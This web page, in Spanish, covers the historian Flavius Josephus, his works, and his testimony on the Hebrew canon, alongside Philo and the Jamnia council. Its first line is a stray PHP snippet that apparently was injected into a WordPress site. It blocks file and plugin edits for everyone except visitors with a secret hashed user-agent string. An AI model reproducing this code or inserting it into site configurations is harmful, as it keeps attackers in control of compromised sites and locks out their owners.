if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } Flavio Josefo – Texto Bíblico

Josefo

La Septuaginta (LXX), Filón y Josefo

Josefo

Flavio Josefo, el escritor judío más conocido y más ampliamente citado de este período, fue sacerdote, erudito, oficial del ejército por accidente, e historiador de gran importancia. Nació alrededor del año 37 d. C. de una noble familia sacerdotal de Jerusalén, y decía que era de ascendencia asmonea. Después de familiarizarse con las tres sectas judías más importantes de sus días -fariseos, saduceos y esenios- se hizo fariseo a los 22 ó 23 años.  Cuatro años más tarde fue a Roma donde intercedió en vano por algunos, judíos que habían caído en desgracia con Félix, el procurador de Palestina.

Supuesto retrato romano de Flavio Josefo – Scanned from a copy of Josephus’ ‘The Jewish War’ dated 1888

Mientras estaba en Roma quedó tan impresionado con el poderío del imperio, que cuando la gran revolución de los años 66-73 d. C. estaba a punto de estallar, Josefo, como Herodes Agripa II, procuró con todo fervor convencer a los judíos de la inutilidad de rebelarse contra Roma. Era en realidad un conservador que, por principio, se oponía a una revolución. Pero los judíos rechazaron el consejo de Josefo por lo que, cuando tenía unos 30 años, se vio implicado en la revolución que culminó con la destrucción de Jerusalén. Cuando los judíos lo nombraron gobernador de Galilea, encabezó lastropas de esa provincia contra los romanos, pero fue derrotado, capturado y retenido como prisionero durante dos años. Cuando Josefo fue llevado ante el general romano Vespasiano, profetizó que este general llegaría a ser emperador; y cuando en el año 69 d. C. Vespasiano fue elegido emperador por sus tropas, Josefo fue puesto en libertad bajo palabra. Como tributo a la protección del emperador, Josefo tomó el nombre de Flavio, que era el nombre de la familia de Vespasiano. Los romanos lo enviaron como emisario ante los judíos revolucionarios antes de la destrucción de Jerusalén, a fin de inducirlos a que se rindieran. Cumplió su misión con buena voluntad, pero sin éxito.

Josefo vivió en Roma la mayor parte del resto de su vida. Allí recibió una pensión y la ciudadanía romana, así como el obsequio de una propiedad en Judea. Dedicó la última mitad de su vida a escribir. Durante ese tiempo produjo cuatro obras principales:

Guerra de los judíos. Es la más antigua de las obras históricas de Josefo. Fue escrita primero en arameo y después fue traducida al griego por peritos lingüísticos bajo su supervisión. Tan sólo ha quedado la traducción griega. La escribió alrededor del año 79 d. C. y consta de siete libros. Narra la historia de los judíos desde que Antíoco Epífanes tomó a Jerusalén hasta el fin de la gran guerra romana en el año 73 d. C. La primera parte de esta historia se basa principalmente en la obra de Nicolás de Damasco; la segunda parte consiste más o menos de las propias observaciones de Josefo, a las que sin duda añadió elementos que estuvieron a su alcance en los registros de Roma. Al escribir esta obra, Josefo quizá esperaba persuadir a los judíos de Mesopotamia para que no intentaran sublevarse como lo habían hecho sus hermanos de Palestina con trágicas consecuencias.

Antigüedades judaicas. La segunda gran obra de Josefo, escrita durante los años 93 y 94 d. C., es una breve historia del pueblo de Dios desde la creación hasta los comienzos de la guerra romana en el año 66 d. D. La primera parte de esta obra sigue muy de cerca el relato bíblico de acuerdo con la Septuaginta (LXX), aunque a veces Josefo presenta como hechos algunos elementos de las tradiciones de los fariseos. En lo que respecta a la parte de su obra que trata del período que sigue al Antiguo Testamento, Josefo aparentemente usa como fuente 1 Macabeos y los escritos de Polibio, Estrabón y Nicolás de Damasco. Los resultados testifican de la verdad de su confesión que hacia el final de su obra se sentía cansado de su tarea. En Antigüedades se hace referencia a una cantidad de personajes judíos que también aparecen en el Nuevo Testamento, tales como Juan el Bautista (Antigüedades xviii. 5. 2), Santiago, el hermano del Señor (Id. xx. 9. 1) y Judas el galileo (Id. xviii. l. 6). También hay un párrafo (Id. xviii. 3. 3) en donde Jesús de Nazaret es descrito en términos sumamente favorables, con una referencia a su crucifixión y resurrección. Ese pasaje declara acerca de Jesús que “El era [el] Cristo”. El consenso general de los eruditos es que este pasaje contiene interpolaciones cristianas que no expresan el pensar de Josefo mismo.

Contra Apión. Es una defensa de las enseñanzas de los judíos. Apión era un enemigo de los judíos que para Josefo llegó a ser el gentil típico. Refiriéndose a él hace una apología del judaísmo, y puesto que Josefo era fariseo, es esta la clase de judaísmo que defiende. Esta obra también es importante por los fragmentos que conserva de los escritos perdidos del historiador babilonio Beroso y del historiador egipcio Manetón.

La vida es la autobiografía de Josefo. Fue escrita principalmente como respuesta a un tal justo que había acusado a Josefo de ser el espíritu propulsor de la revolución judía. En toda la obra el autor se presenta como partidario de los romanos, punto de vista. que difícilmente se confirma con su relato de Guerra de los judíos.

Las obras de Josefo han sido muy examinadas por los críticos, y con resultados adversos, pues no estuvo exento de partidarismos. Favoreció a los romanos en contraposición a los judíos rebeldes, y favoreció a los judíos en contraposición a los gentiles. Un proceder tal es comprensible en un escritor que vivió en un tiempo de intensas divisiones; que trató de hacer la apología de un pueblo cuya conducta lo había llevado a la derrota y a quedar subyugado, pero cuyo espíritu aún estaba intacto.

Cuando Josefo en algunos puntos es sometido a la prueba de la arqueología y de escritores menos parciales y que tratan las mismas cuestiones, se descubre que a veces fue descuidado al escribir sobre aspectos históricos. Sin embargo, permanece el hecho de que sin la obra de Josefo habría amplias brechas en el conocimiento que existe no sólo de la historia de los judíos sino también de los romanos. Josefo murió alrededor del año 100 d. C.

 ————————

Enlaces externos:

Testimonios de judíos del primer siglo

HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Testimonios de judíos del primer siglo

Filón de Alejandría

Filón de Alejandría (murió por el año 42 DC) era un filósofo judío que escribió en el tiempo de Cristo. Sus obras contienen citas de 16 de los 24 libros de la Biblia hebrea. Puede ser accidental que sus escritos no contengan citas de Ezequiel, Daniel y las Crónicas y otros cinco libros pequeños.

El historiador Josefo, escribiendo por el año 90 DC, hizo una declaración importante acerca del canon, en su obra Contra Apión:

“Por esto entre nosotros no hay multitud de libros que discrepan y disienten entre sí; sino solamente veintidós libros, que abarcan la historia de todo tiempo y que, con razón, se consideran divinos. De entre ellos cinco son de Moisés, y contienen las leyes y la narración de lo acontecido desde el origen del género humano hasta la muerte de Moisés. Este espacio de tiempo abarca casi tres mil años. Desde Moisés hasta la muerte de Artajerjes, que reinó entre los persas después de Jerjes, los profetas que sucedieron a Moisés reunieron en trece libros lo que aconteció en su época. Los cuatro restantes ofrecen himnos en alabanza de Dios y preceptos utilísimos a los hombres.”¹ (Flavio JosefoContra Apión, Libro I, 8).

Supuesto retrato romano de Flavio Josefo

Necesita una explicación la declaración de Josefo referente a que la Biblia de los judíos contenía 22 libros, porque se sabe que había realmente 24 libros en la Biblia hebrea antes de él y en su tiempo. Su división de 5 “libros de Moisés”, 13 libros de “profetas” y 4 libros de “himnos a Dios y preceptos para la conducta de la vida humana”, sigue más de cerca el orden de la Septuaginta que el de la Biblia hebrea; proceder comprensible puesto que escribió para lectores que hablaban griego. Pero la base de su declaración -que la Biblia hebrea tenía 22 libros- se debió probablemente a una práctica hebrea que surgió entre algunos que procuraban ajustar el número de libros de las Escrituras de acuerdo con el número de las letras del alfabeto hebreo. Probablemente Josefo computó a Rut junto con Jueces, y Lamentaciones junto con Jeremías, o posiblemente dejó afuera dos de los libros que pueden haberle parecido de poca importancia.

Otro autor judío de ese tiempo, que escribió la obra espuria llamada 4 Esdras (apócrifo), es el primer testigo que indica que el número de libros de la Biblia hebrea era 24 (cap. 14:45).

Hacia el fin del siglo I o comienzos del II, se celebró un concilio de eruditos judíos en Jamnia, al sur de Jaffa, en Palestina. Ese concilio fue presidido por Gamaliel II, junto con el rabí Akiba, el erudito judío más influyente de ese tiempo, y que fue el espíritu rector de la asamblea.

Puesto que algunos judíos consideraban ciertos libros apócrifos como de igual valor que los libros canónicos del Antiguo Testamento, los judíos querían colocar su sello oficial sobre un canon que había existido inmutable por un largo tiempo y que -así lo sentían- necesitaba ser resguardado contra posibles adiciones.

Por lo tanto, este concilio no estableció el canon del Antiguo Testamento sino sólo confirmó una posición sostenida durante siglos en cuanto a los libros de la Biblia hebrea. Con todo, es cierto que, en algunos sectores, fue cuestionada la canonicidad del Eclesiastés, Cantares, Proverbios y Ester. Pero el mencionado rabí Akiba eliminó las dudas con su autoridad y elocuencia, y esos libros mantuvieron su lugar en el canon hebreo.

——————————

¹ “For we have not an innumerable multitude of books among us, disagreeing from and contradicting one another, [as the Greeks have,] but only twenty-two books, which contain the records of all the past times; which are justly believed to be divine; and of them five belong to Moses, which contain his laws and the traditions of the origin of mankind till his death. This interval of time was little short of three thousand years; but as to the time from the death of Moses till the reign of Artaxerxes king of Persia, who reigned after Xerxes, the prophets, who were after Moses, wrote down what was done in their times in thirteen books. The remaining four books contain hymns to God, and precepts for the conduct of human life.” Web: Early Jewish Writings, Flavius Josephus Against Apion, Book I, 8; o FLAVIUS JOSEPHUS OF THE ANTIQUITY OF THE JEWS. AGAINST APION. BOOK I, 8.

—–

LA HISTORIA DEL CANON DEL BÍBLICO

I – ANTIGUO TESTAMENTO

Introducción

El canon

División antigua y moderna del Antiguo Testamento

Antes del exilio en Babilonia

En el tiempo de Esdras-Nehemías

Entre Nehemías y los Macabeos

Desde los Macabeos hasta Cristo

El testimonio de Cristo y los apóstoles

Testimonios de judíos del primer siglo

En la iglesia cristiana primitiva

La iglesia católica y los apócrifos

Criterios protestantes acerca del canon

Resumen

—–